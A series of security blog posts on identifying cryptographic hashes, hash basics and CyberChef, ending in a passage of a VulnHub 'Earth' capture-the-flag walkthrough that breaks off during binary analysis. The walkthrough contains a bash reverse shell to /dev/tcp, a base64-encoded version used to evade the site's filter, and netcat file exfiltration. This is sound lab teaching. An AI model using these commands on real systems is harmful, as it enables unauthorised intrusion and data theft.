Offensive Security

Identifying Cryptographic Hashes

This is an image of a scientist examining a potato.This post is the second of three posts that I have planned in a little mini-series. Last time, we looked at What are Cryptographic Hashes? and this time, we’re going to talk about how to identify cryptographic hashes that you might find in the wild.

In offensive security and during security audits, you’ll often encounter cryptographic hashes. These may be part of password dumps, logs, malware signatures, or other files. However, not all hashes are labeled clearly, and determining the type of hash used is essential for further analysis, especially when cracking or reversing it. Let’s dive into how you can identify cryptographic hashes in the wild and the tools that make the process easier.

This is important for a few reasons, but from an Offensive Security perspective, the biggest reason is that you often need to identify the type of hash you’re dealing with is to be able to crack it correctly. If you’re just using a huge, pre-computed rainbow table like I assume CrackStation uses, identifying them is less important because it just finds them as they are and returns the stored initial plain text value that was used to make the digest. In the case of other tools that you want to run specific wordlists against where you “hash on demand”, you have to know what you’re trying for before you start. So how do we do it?

Over time, you may develop some kind of sixth sense about it and be able to look at them and be pretty sure what you’re seeing. But, if you’re new or want to know the process that is going on behind the scenes, here’s a decision process. First, look at the length of the hash. Here are some lengths of some very popular hash types you’re likely to encounter. Length alone doesn’t always give you a definitive answer, but it helps rule out many possibilities.

  • MD5: 32 hexadecimal characters (128 bits).
  • SHA-1: 40 hexadecimal characters (160 bits).
  • SHA-256: 64 hexadecimal characters (256 bits).
  • SHA-512: 128 hexadecimal characters (512 bits).
  • bcrypt: Typically around 60 characters (includes a salt).

Next thing you want to do is look for special formatting of the hash itself that might be unique to the hash’s “signature”.

  • bcrypt hashes often start with $2a$, $2b$, or $2y$.
  • MD5 is typically a straightforward 32-character hexadecimal string.
  • NTLM (used in Windows environments) often has a 32-character hexadecimal format similar to MD5 but is distinct in purpose.

The next thing you want to do (honestly, maybe this should kind of be step 0 even) is consider the context of where the hash came from. It isn’t super likely that you just “found a hash on the ground”, you usually have some context with it and that context can give us some hints.

  • Password Databases: If you’re analyzing a password database, it’s common to find hashes like bcrypt, PBKDF2, or even older ones like MD5.
  • File Integrity Checks: If the hash is related to file integrity checks (e.g., software downloads), SHA-256 or SHA-512 is often used.
  • Certificates and Signatures: Digital certificates or signatures may use SHA-256 or SHA-1, although SHA-1 has been largely deprecated.

Another thing to do is to look for evidence and distinctive markers at specific points in the hash. Some hash functions, particularly those used for passwords (like bcrypt, PBKDF2, and Argon2), employ salting and iterations to increase security. The salt is a random value added to the input to ensure the same passwords don’t produce identical hashes. Hashes with salts often have longer lengths and may include markers or delimiters in the format, like the way you might find a Bcrypt hash that starts with ‘$2a$10$…’ where ’10’ is the cost factor.

So if you found a hash like $2y$12$EXRkfkdmXn2gzds2SSituJWMqp3hPFO4lH/vqFhD8aJL.lfwBby4a during a penetration test and you figure out that $2y$ indicates the algorithm is bcrypt and 12 indicates the number of iterations (also called the cost factor). You can then use a tool like John the Ripper or Hashcat with your favorite wordlists, specifying bcrypt as the algorithm.

The next step (maybe it might be your first step) is to try using some tools to help you. The truth is that these tools apply some of the heuristics that I’ve already outlined (and many more that I haven’t) in order to figure out what you’re dealing with. One of the most popular is called hashID (which replaced hash-identifier), a Python tool that you can install with pip and then call from the command line. Here is an example of me using it to identify some hashes.

$ hashid '5d41402abc4b2a76b9719d911017c592'
Analyzing '5d41402abc4b2a76b9719d911017c592'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x

$ hashid '$2y$12$EXRkfkdmXn2gzds2SSituJWMqp3hPFO4lH/vqFhD8aJL.lfwBby4a'
Analyzing '$2y$12$EXRkfkdmXn2gzds2SSituJWMqp3hPFO4lH/vqFhD8aJL.lfwBby4a'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt

You’ll notice that sometimes, you get a LOT of possible results. That’s why I personally put the tools a little lower on the list. You will want to use context to try to figure out which of those suggestions is most likely. From there, you may have to try a few different times to crack the hash, but you should have some kind of logic to the order. Consider the context, the technology stack, when it was written, what you know about the development team, etc. You may see some people suggest tools like OnlineHashCrack (use the menu to go to Free Tools, then Hash Identification). The direct link is here, but that can change. Unless you can’t install hashID on your system for some reason, I’d just use hashID. Online Hash Crack literally seems to be using something like hash-identifier under the hood, as the results are the very similar.

Hash Identifier

+-$ hash-identifier 5d41402abc4b2a76b9719d911017c592
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:
[+] RAdmin v2.x
[+] NTLM
[+] MD4
[+] MD2
[+] MD5(HMAC)
[+] MD4(HMAC)
[+] MD2(HMAC)
[+] MD5(HMAC(WordPress))
[+] Haval-128
[+] Haval-128(HMAC)
[+] RipeMD-128
[+] RipeMD-128(HMAC)
[+] SNEFRU-128
[+] SNEFRU-128(HMAC)
[+] Tiger-128
[+] Tiger-128(HMAC)
[+] md5($pass.$salt)
[+] md5($salt.$pass)
[+] md5($salt.$pass.$salt)
[+] md5($salt.$pass.$username)
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($salt.$pass))
[+] md5($salt.md5(md5($pass).$salt))
[+] md5($username.0.$pass)
[+] md5($username.LF.$pass)
[+] md5($username.md5($pass).$salt)
[+] md5(md5($pass))
[+] md5(md5($pass).$salt)
[+] md5(md5($pass).md5($salt))
[+] md5(md5($salt).$pass)
[+] md5(md5($salt).md5($pass))
[+] md5(md5($username.$pass).$salt)
[+] md5(md5(md5($pass)))
[+] md5(md5(md5(md5($pass))))
[+] md5(md5(md5(md5(md5($pass)))))
[+] md5(sha1($pass))
[+] md5(sha1(md5($pass)))
[+] md5(sha1(md5(sha1($pass))))
[+] md5(strtoupper(md5($pass)))
--------------------------------------------------

OnlineHashCrack

Input: 5d41402abc4b2a76b9719d911017c592

Results: 
Your hash may be one of the following:
- MD2
- MD5
- MD4
- Double MD5
- LM
- RIPEMD-128
- Haval-128
- Tiger-128
- Skein-256(128)
- Skein-512(128)
- Lotus Notes/Domino 5
- Skype
- ZipMonster
- PrestaShop
- md5(md5(md5($pass)))
- md5(strtoupper(md5($pass)))
- md5(sha1($pass))
- md5($pass.$salt)
- md5($salt.$pass)
- md5(unicode($pass).$salt)
- md5($salt.unicode($pass))
- HMAC-MD5 (key = $pass)
- HMAC-MD5 (key = $salt)
- md5(md5($salt).$pass)
- md5($salt.md5($pass))
- md5($pass.md5($salt))
- md5($salt.$pass.$salt)
- md5(md5($pass).md5($salt))
- md5($salt.md5($salt.$pass))
- md5($salt.md5($pass.$salt))
- md5($username.0.$pass)
- Snefru-128
- NTLM
- Domain Cached Credentials
- Domain Cached Credentials 2
- DNSSEC(NSEC3)
- RAdmin v2.x
- Cisco Type 7

It is possible that some tools that you use to crack the hashes have some built-in identifiers (like John the Ripper), but they don’t work independently.

Identifying cryptographic hashes is a critical skill during security audits or penetration tests. With so many different algorithms in use, the ability to quickly pinpoint the hash type allows you to assess security, crack passwords, and verify data integrity. By leveraging online tools, command-line utilities like hashID, and your understanding of hash lengths and formats, you can efficiently identify the most commonly used hashes.

In the next post, we’ll explore how to crack these hashes, using both brute force and other techniques.

Offensive Security

What are Cryptographic Hashes?

Frying PotatoesThis post is the first of three posts that I have planned in a little mini-series. I want to post about What are Cryptographic Hashes?, then Identifying Hashes, and finally Cracking Hashes.

So, what is a Cryptographic Hash? At its core, a cryptographic hash function is a mathematical algorithm that takes an input and returns a fixed-size string of characters, which is typically a hexadecimal number. The output is called a hash or digest. Cryptographic hash functions are designed to be secure and resistant to tampering, which makes them highly useful in a variety of security-related contexts. The key features of cryptographic hashes are:

  1. Deterministic: The same input will always produce the same hash.
  2. Fixed Length: Regardless of the size of the input, the hash produced will always be of a fixed size (e.g., SHA-256 always produces a 256-bit hash).
  3. Efficient: Computing the hash for any input is relatively fast.
  4. Pre-image Resistance: It should be computationally infeasible to reverse the process and determine the original input from the hash.
  5. Collision Resistance: Two different inputs should not produce the same hash.
  6. Avalanche Effect: Even a small change to the input should drastically change the output hash.

That Avalanche Effect part is actually really important and easier to understand with a demonstration. If a hashing of similar words resulted in similar hashes, you could actually figure out the original message very easily as you got closer and closer. Instead, abcd, abcdd, abcdD, and abcde actually hash to wildly different SHA256 Hashes, for example. Pretty smart, I think.

$ echo "abcd" | sha256sum
fc4b5fd6816f75a7c81fc8eaa9499d6a299bd803397166e8c4cf9280b801d62c

$ echo "abcdd" | sha256sum
2fc0920b01e12a239cac49f999c641dafaa841da88428c08632ec1fa9860920f

$ echo "abcdD" | sha256sum
f71367ae3183ad102b186748aba1a2132c73168b79a3e2612199f2d74ae9d9b0

$ echo "abcde" | sha256sum
0283da60063abfb3a87f1aed845d17fe2d9ba8c780b478dc4ae048f5ee97a6d5

Where do we use Cryptographic Hashes? Well, I’m writing about this under the banner of Offensive Security, so some logical guesses could be made. One thing they are used for is for storing passwords. Instead of storing the passwords directly in a database or even storing an encrypted version that can be decrypted, it is a good practice to store a Cryptographic Hash. Then when someone tries to log in, you hash the input and then compare the hashes. That way, the passwords are harder to determine from the hash alone. Another use is for data integrity. If a hash is taken of a file or a message and that hash is published, you can confirm that you have the exact same file or message by calculating the hash yourself and comparing.

What are the dangers here? Why are there so many kinds of hashes? Well – like a lot of things – this is actually a hard problem. If the hash algorithm isn’t very good, it could have collisions. That means two or more messages hash to the same value, so if apple and orange both hash to ABCDEF and ABCDEF is stored in the database as the password hash, then providing either a password of apple or orange at login would let you in. That’s not great. Also, if it is possible for multiple inputs to have the same output, then a file with a hash of AAABBBCCC is published, but someone also makes a version of a file full of viruses that also hashes out to AAABBBCCC, then we’ve lost trust in the process.

Here are just four examples of hash algorithms that had been trusted, but aren’t anymore.

MD4 (Message Digest Algorithm 4)
Discovered Collisions: Yes (1995)
Details: MD4 is an earlier version of MD5 and was found to be insecure in the mid-1990s. Collisions were discovered in MD4 as early as 1995, and since then, the hash function has been considered broken and insecure. MD4 was eventually replaced by more secure algorithms like SHA and MD5, though MD5 also suffered from its own weaknesses.
Examples: MD4 is largely obsolete but might still be found in legacy systems.

MD5 (Message Digest Algorithm 5)
Discovered Collisions: Yes (2004)
Details: MD5 is one of the most famous cryptographic hash functions with widely known collisions. It produces a 128-bit hash value. In 2004, researchers demonstrated a practical method to find collisions in MD5. Since then, the hash function has been considered broken and unsuitable for security purposes like digital signatures and certificates.
Examples: In 2008, an attack was demonstrated that allowed attackers to create a rogue Certificate Authority (CA) certificate, which undermined the trust model of SSL certificates.

SHA-0 (Secure Hash Algorithm 0)
Discovered Collisions: Yes (2004)
Details: SHA-0 is the predecessor of SHA-1 and was withdrawn from use due to its vulnerability to collisions. Researchers found theoretical weaknesses, and in 2004, they were able to demonstrate actual collisions in the function. As a result, SHA-0 was deprecated early in its life.
Examples: SHA-0 is no longer used in any modern cryptographic system due to these vulnerabilities.

SHA-1 (Secure Hash Algorithm 1)
Discovered Collisions: Yes (2017)
Details: SHA-1, which produces a 160-bit hash value, was long considered secure but began to show theoretical weaknesses in the early 2000s. In 2017, Google and the CWI Institute in Amsterdam successfully generated a practical collision using the “SHAttered” attack. This discovery showed that SHA-1 was vulnerable to collision attacks and should no longer be used in critical security applications.
Examples: SHA-1 has been deprecated for use in SSL certificates, and major browsers no longer accept SHA-1-signed certificates.

Understanding these foundational concepts is critical as we move forward in our offensive security series. In our next post, we will dive into how to identify a hash you find in the wild—whether it’s from a password dump, a malware sample, or part of an intercepted communication.

General Tips

Core Tools to Know: CyberChef

CyberChef LogoLast month, I started a series about tools and utilities that are good to know with a post about curl. In my most recent CTF post, I had to use CyberChef to help me with one of my steps. That post was already going to be very long, so I didn’t have a lot of time to explain what CyberChef was or how it worked if a reader was unfamiliar. It did, however, seem like a good topic for my next “Core Tools to Know” post, so here we are.

As some background, CyberChef was created by an anonymous worker at GCHQ (Government Communications Headquarters) in England. GCHQ is an intelligence agency and is the current version of the organization (then called GC&CS) that was at Bletchley Park and broke the Enigma Codes. So.. smart folks. Like a lot of high-tech places, GCHQ gives their employees 10% “Innovation Time” and this worker created this tool during that time. They shared it with their colleagues and eventually decided to open source it on GitHub for the world to benefit. So what is it? Let’s take a look.

The CyberChef UI

There is a lot going on here, but think of it like a factory or assembly line. In the upper right is where you put the input to the process. In the bottom right is the output. The center column is where you drag the “recipes”, which are the operations that you are going to conduct on the input. The left side shows all of the available recipes/operations that you can choose from. In the upper left is a search box to help you easily find what you were looking for. Let’s say you came across this string: UGV0ZSBvbiBTb2Z0d2FyZQ%3D%3D. If you recognize the end as looking to be URL encoded, let’s set up CyberChef to try to handle it. First, I put UGV0ZSBvbiBTb2Z0d2FyZQ%3D%3D in the input. It will immediately appear – unchanged – in the output because “Auto Bake” is selected at the bottom of the center column. If it isn’t, either check it or click Bake! to see something in the output. Next, let’s search for URL Decode in the search box and drag URL Decode to the Recipe column. After baking, you see that the output now says UGV0ZSBvbiBTb2Z0d2FyZQ== because each %3D was converted to an =. We now see that this looks like a base64 string.

Our input with the URL Decode Recipe Only

What is interesting is that CyberChef figured that out, too! You’ll notice that a magic wand appeared by the Output header and if you hover on it, it tells you that this is a Base64 string and what the decoding is.

Output Magic Suggestion

If you click it, it adds From Base64 to the recipe and our output now shows Pete on Software.

Our decoded string

It is important to note that order matters. You can drag the recipe steps up and down to perform them in a different order. If I From Base64 first and URL Decode second, we don’t get the exact right answer. If this was a more complicated recipe, small errors get compounded and might make this fail entirely.

Recipe Order Matters

As we move forward, it is important to note that you can remove a recipe step by either clicking and dragging it to the trash can in the upper right portion of the Recipe column, or by clicking the ⊘ on the operation. That will disable it. Clicking that symbol again will re-enable it.

By now, you can imagine all of the things you can do to text. CyberChef has encryption, hashing, encoding, and much, much more. However, you aren’t limited to text. You can perform network operations and even operate on Files. If you don’t enter text in the Input section, you have other options for input. If you hover on each of the icons, you can see that you can also open a Folder or a File as input.

CyberChef Input Options

I’m going to use CyberChef to remove EXIF data from an image of a moped. To start, here is the EXIF data that is on the image.

$ exif moped.jpg
EXIF tags in 'moped.jpg' ('Motorola' byte order):
--------------------+----------------------------------------------------------
Tag                 |Value
--------------------+----------------------------------------------------------
X-Resolution        |72
Y-Resolution        |72
Resolution Unit     |Inch
Date and Time (Origi|2018:11:08 19:49:33
User Comment        |Screenshot
Pixel X Dimension   |640
Pixel Y Dimension   |641
Exif Version        |Exif Version 2.1
FlashPixVersion     |FlashPix Version 1.0
Color Space         |Internal error (unknown value 65535)
--------------------+----------------------------------------------------------

I selected my file as input, added the Remove EXIF operation to the Recipe, made sure it Baked and I have file data in the output. If you click the Floppy Disk icon, you can save that output to a file. (Note: CyberChef didn’t blur the image. I did for privacy reasons)

CyberChef Remove EXIF Save File

$ exif moped_cyberchef.jpg
Corrupt data
The data provided does not follow the specification.
ExifLoader: The data supplied does not seem to contain EXIF data.

I will note that I was using a Linux utility to read that EXIF data, but CyberChef could have read the data in the first place. There is an Extract EXIF operation that you can add to the recipe.

As we wrap up, there are some things to consider. First, CyberChef is a client-side application. When you enter input (text, file, folder, etc), your data does not leave the browser. All of the recipes are written in JavaScript and are executed on the client. You don’t have to worry that some agency is getting your encryption keys, pictures, or other sensitive data. As a reminder, the code is open source and can be viewed and reviewed. Also, you don’t have to be online to use CyberChef. There is a download link at the top left that will let you download a ZIP file of the application to run locally. When you click the link, you get a popup that provides this message. It is important to note that this isn’t an installed application and there is no provision for keeping it updated unless you create those means.

CyberChef runs entirely within your browser with no server-side component, meaning that your Input data and Recipe configuration are not sent anywhere, whether you use the live, official version of CyberChef or a downloaded, standalone version (assuming it is unmodified).

There are three operations that make calls to external services, those being the 'Show on map' operation which downloads map tiles from wikimedia.org, the 'DNS over HTTPS' operation which resolves DNS requests using either Google or Cloudflare services, and the 'HTTP request' operation that calls out to the configured URL you enter. You can confirm what network requests are made using your browser's developer console (F12) and viewing the Network tab.

If you would like to download your own standalone copy of CyberChef to run in a segregated network or where there is limited or no Internet connectivity, you can get a ZIP file containing the whole web app below. This can be run locally or hosted on a web server with no configuration required.

Be aware that the standalone version will never update itself, meaning it will not receive bug fixes or new features until you re-download newer versions manually.

That’s it! I hope you got a good introduction to CyberChef and keep it in mind when you have little needs to manipulate data. If there is anything that you have found very handy to use it for or any good tips and tricks, I’d love to hear about it in the comments.

Capture the Flag

VulnHub Walkthrough – The Planets: Earth

The Planet EarthPreviously, we took a look at an intentionally vulnerable VM from VulnHub called The Planets: Mercury. This time, I’m going to tackle another one in the same series by the same author called The Planets: Earth. You can download the file to play along from here. Setup will actually be almost the same as it was in the Mercury post, so if you need help getting started, check back there.

I skipped planetary order because Venus was labelled as a “Medium” box and Earth is considered on the harder side of easy, so I wanted to step this up slowly as we go. As it turns out, this box definitely poses some challenges of its own. That isn’t to say that I didn’t miss an easier path, but I went in the most straightforward way I could find. I also had a misstep or two, and I’ll point out where I went down a trail without taking you there myself.

After I got the box running and figured out its IP address like last time, I ran the following command to figure out what was going on. sudo nmap -p- -sC -sV -T4 192.168.56.104 I had to use sudo because running -sV with nmap requires it. -p- scans all ports, -sC runs default scripts, -sV checks for versions, -T4 makes it run with more threads to get done faster.

sudo nmap -p- -sC -sV -T4 192.168.56.104

Not shown: 65512 filtered tcp ports (no-response), 20 filtered tcp ports (admin-prohibited)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey: 
|   256 5b:2c:3f:dc:8b:76:e9:21:7b:d0:56:24:df:be:e9:a8 (ECDSA)
|_  256 b0:3c:72:3b:72:21:26:ce:3a:84:e8:41:ec:c8:f8:41 (ED25519)
80/tcp  open  http     Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
|_http-title: Earth Secure Messaging
443/tcp open  ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
| ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space
| Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local

From our results, we can see that 3 ports are open: 22, 80, and 443. Those are the ports for SSH, HTTP, and HTTPS respectively. Just like last time, we save port 22/SSH for later, as that is often mid-to-endgame stuff in capture the flag boxes if web servers are present. I note that there are some DNS names to consider: earth.local and terratest.earth.local. Because 2 sites are potentially being hosted on one box, we’ll need to add those names to our hosts file so that we can use them in the web browser to get the sites we want.

I type the command sudo nano /etc/hosts in my Kali Linux virtual machine and then add this line to the bottom. After that, I save and exit and from now on, I can just refer to the box by those easier names rather than the IP address.

192.168.56.104  earth.local     terratest.earth.local

When I go to http://earth.local, it brings up the “Earth Secure Messaging Service”.
The default earth.local site

When I enter a message of a with a key of a, I get the same result (00). When I enter a message of a with a key of b, I get a different result (03). I made a note of this and checked the source of the HTML page and didn’t find anything of value.
My resulting messages

Going to https://terratest.earth.local/ brings up “Test site, please ignore.” in plain text, and the source is the same, so that’s not helpful for gaining a foothold. I will note that if you go to the http:// version of the terratest site, it just shows you the earth.local messaging site.

When in doubt, enumerate! Let’s use gobuster to see what we can see! For our command, dir means directory mode –url tells gobuster what URL to enumerate -w is the wordlist to use, and -k tells it to not do the SSL validation check (necessary here because this box has a self-signed cert and the check fails).

gobuster dir --url https://earth.local -w /usr/share/wordlists/dirb/common.txt -k
/admin                (Status: 301) [Size: 0] [--> /admin/]
/cgi-bin/             (Status: 403) [Size: 199]

gobuster dir --url https://terratest.earth.local -w /usr/share/wordlists/dirb/common.txt -k
/.hta                 (Status: 403) [Size: 199]
/.htaccess            (Status: 403) [Size: 199]
/.htpasswd            (Status: 403) [Size: 199]
/cgi-bin/             (Status: 403) [Size: 199]
/index.html           (Status: 200) [Size: 26]
Progress: 2933 / 4615 (63.55%)[ERROR] Get "https://terratest.earth.local/nokia": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/robots.txt           (Status: 200) [Size: 521]
Progress: 4614 / 4615 (99.98%)

So, the regular site has an /admin page and the test site has a robots.txt file and maybe a /nokia directory. However, the /nokia was just a hiccup from the tool as I got an immediate 404 when trying to go there. Let’s take a look at the robots.txt at https://terratest.earth.local/robots.txt

User-Agent: *
Disallow: /*.asp
Disallow: /*.aspx
Disallow: /*.bat
Disallow: /*.c
Disallow: /*.cfm
Disallow: /*.cgi
Disallow: /*.com
Disallow: /*.dll
Disallow: /*.exe
Disallow: /*.htm
Disallow: /*.html
Disallow: /*.inc
Disallow: /*.jhtml
Disallow: /*.jsa
Disallow: /*.json
Disallow: /*.jsp
Disallow: /*.log
Disallow: /*.mdb
Disallow: /*.nsf
Disallow: /*.php
Disallow: /*.phtml
Disallow: /*.pl
Disallow: /*.reg
Disallow: /*.sh
Disallow: /*.shtml
Disallow: /*.sql
Disallow: /*.txt
Disallow: /*.xml
Disallow: /testingnotes.*

I’m not sure why testingnotes’ extension got left off, maybe to delay us? I tried going to different extensions: .txt, .html, .htm, .xml, and even no extension, but only .txt returned anything. Here’s what we got

Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.

First note, this seems to also suggest a testdata.txt file might be available and https://terratest.earth.local/testdata.txt gives us this

According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

Okay, that was some fast and furious fact finding. Let’s take stock of what we know now or might know.

Potential Username: terra
Encryption Used: XOR

If you already know everything there is to know about XOR, you can skip ahead a bit. If not, I’m going to do a little explaining about what I’m about to do. When you use XOR, it doesn’t matter which is the message and which is the key, it is like multiplication or addition in that the answer will be the same. That is also true backwards. If you take the answer and XOR the Message, you get the Key. If you take the answer and XOR the Key, you get the Message. Let’s see this in action with CyberChef. Using CyberChef is outside of this blog post (maybe a future one!), but take a look at what happens when I use a as Message and b as Key and then use b as Message and a as Key. No matter what, it comes out to 03.
An XOR Proof of Concept for Encryption

Now, what happens when 03 is passed in and a is the key? We get b as the message. And when 03 is passed in as the result and b is the key? a shows as the message.
An XOR Proof of Concept for Decryption

It looks like we have one of the pieces (either the Key or the Message) testdata.txt file. We also have the resulting ciphertext from the earth.local site. If I plug it in just like the proof of concept, I should get the other piece.
XOR Missing Piece Found

We get the string earthclimatechangebad4humans repeated over and over again.

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

Because of the way it is repeated and cut off, that probably means earthclimatechangebad4humans was the key and “According to radiometric dating…” was the message. Let’s try again with the same ciphertext input but only earthclimatechangebad4humans as the key. When we do, we get back the text from testdata.txt perfectly.
Decrypting with only the 28 character passphrase

Note: I tried the other messages that were on the page when we first got there, but only the initial message decrypted with that key (or that message). So no further gold to mine there. The note mentioned that terra was a username for the admin portal and I had forgotten about it until now. If the key isn’t the password, we’ll have to try SQL Injection or credential stuffing. So when we go to https://earth.local/admin, we get a link to login. Clicking it reveals a form. Here is what that looks like.

The Admin Login Page

Fortunately, terra:earthclimatechangebad4humans were the login credentials we need and we are presented with the admin page, ripe for some good old command issuing. whoami comes back apache.
Admin Login Success

Let’s try to find the user flag, which for Sir Proton, seems to usually be named user_flag.txt. I asked the input to find that file, got a path, then used cat to output the file. Flag 1 Complete!

find / -name "user_flag.txt"
Command output: /var/earth_web/user_flag.txt
cat /var/earth_web/user_flag.txt
Command output: [user_flag_3353b67d6437f07ba7d34afd7d2fc27d] 

Can I find the root flag the same way?

find / -name "root_flag.txt"
Command output: 

Drat! Gonna have to work at this the hard way. Can I SSH into the box with these credentials? No, I cannot. Okay, that means we have to use this admin portal to do a reverse shell. Let me see what we have on the server, do we have bash?

which bash
Command output: /usr/bin/bash

Okay, bash is here and usable, so let’s do a bash-based reverse shell. If we go to RevShells.com, we can find all we need to do it. Just fill in what you want and you get the command to issue on your local machine and what command to execute on the target to call to you.
My RevShells for this box

I issued those commands and got this

nc -lvnp 4444 # On the Kali Box
bash -i >& /dev/tcp/192.168.56.103/4444 0>&1 # In the admin CLI text box

Site Response: Remote connections are forbidden. 

D’OH! They must have something that parses the text coming in looking for IPs or something. Let’s see if we hide the command with base64 if that gets it done:

echo "bash -i >& /dev/tcp/192.168.56.103/4444 0>&1" | base64 # On Kali Machine
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMy80NDQ0IDA+JjEK # Result
nc -lvnp 4444 # On Kali Box
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMy80NDQ0IDA+JjEK" | base64 -d | bash # In the admin CLI text box

#Back on Kali...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.104] 53594
bash: cannot set terminal process group (832): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ 

whoami
apache

Yahtzee! I tried sudo -l like we did in Mercury to find what we could execute as sudo, but I don’t know apache‘s password, so that doesn’t work. The next step of low hanging fruit is to check and see if the SUID bit is set on any files that let me execute them as if I were the owner. I asked my buddy ChatGPT how to do that and got this command

find / -perm /4000 -type f 2>/dev/null
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/reset_root
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1

Well, reset_root sounds promising. Let me call it

reset_root
CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

Okay. What is it checking exactly? I can’t easily tell on this box where I’m a super low privileged user, so I need to get this to my own box. Python was available, so I copied the binary to /tmp and tried python3 -m http.server from /tmp and tried to connect. It didn’t work. I tried a bunch of ports and none of it worked. So, I asked ChatGPT again and explained what I needed and my robot friend suggested I used netcat on both ends. Here is what worked:

nc -lvp 9001 > reset_root # On Kali
listening on [any] 9001 ... # Kali Response

nc 192.168.56.103 9001 < /usr/bin/reset_root # In my reverse shell terminal

connect to [192.168.56.103] from earth.local [192.168.56.104] 54190 # Kali Terminal updated with this message

And I had a file locally. I did a sudo chmod +x ./reset_root so I could run it. I asked ChatGPT and it suggested using a few programs to see what was being checked, two of them were strace and ltrace. When I tried to use strace to see what it was doing...

strace ./reset_root     
execve("./reset_root", ["./reset_root"], 0x7ffd2af42c30 /* 55 vars */) = 0
brk(NULL)                               = 0x67b000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff2fff5d000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=114611, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 114611, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ff2fff41000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P~\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
newfstatat(3, "", {st_mode=S_IFREG|0755, st_size=1933688, ...}, AT_EMPTY_PATH) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 1985936, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ff2ffd5c000
mmap(0x7ff2ffd82000, 1404928, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x26000) = 0x7ff2ffd82000
